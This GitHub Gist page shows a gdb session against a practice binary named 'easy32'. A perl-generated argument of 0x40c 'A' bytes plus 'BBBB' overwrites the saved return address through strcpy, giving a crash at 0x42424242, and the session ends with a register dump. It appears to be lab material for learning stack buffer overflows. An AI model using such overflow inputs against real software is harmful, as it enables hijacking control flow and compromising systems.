Created
June 11, 2018 15:32
-
-
Save fgsahoward/a7150f3fc8da61be7e45d918a199fb55 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(gdb) r `perl -e 'print "A"x0x40c, "B"x0x4'` | |
Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "A"x0x40c, "B"x0x4'` | |
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB | |
Program received signal SIGSEGV, Segmentation fault. | |
0x42424242 in ?? () | |
(gdb) b *vulnerable+22 | |
Breakpoint 1 at 0x8048461: file easy.c, line 14. | |
(gdb) r `perl -e 'print "A"x0x40c, "B"x0x4'` | |
The program being debugged has been started already. | |
Start it from the beginning? (y or n) y | |
Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "A"x0x40c, "B"x0x4'` | |
Breakpoint 1, 0x08048461 in vulnerable (input=0xffffd7e6 'A' <repeats 200 times>...) at easy.c:14 | |
14 strcpy(buffer, input); | |
(gdb) i r | |
eax 0xffffd180 -11904 | |
ecx 0xffffd5c0 -10816 | |
edx 0xffffd5e4 -10780 | |
ebx 0x0 0 | |
esp 0xffffd170 0xffffd170 | |
ebp 0xffffd588 0xffffd588 | |
esi 0x2 2 | |
edi 0xf7fb0000 -134545408 | |
eip 0x8048461 0x8048461 <vulnerable+22> | |
eflags 0x296 [ PF AF SF IF ] | |
cs 0x23 35 | |
ss 0x2b 43 | |
ds 0x2b 43 | |
es 0x2b 43 | |
fs 0x0 0 | |
gs 0x63 99 | |
(gdb) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment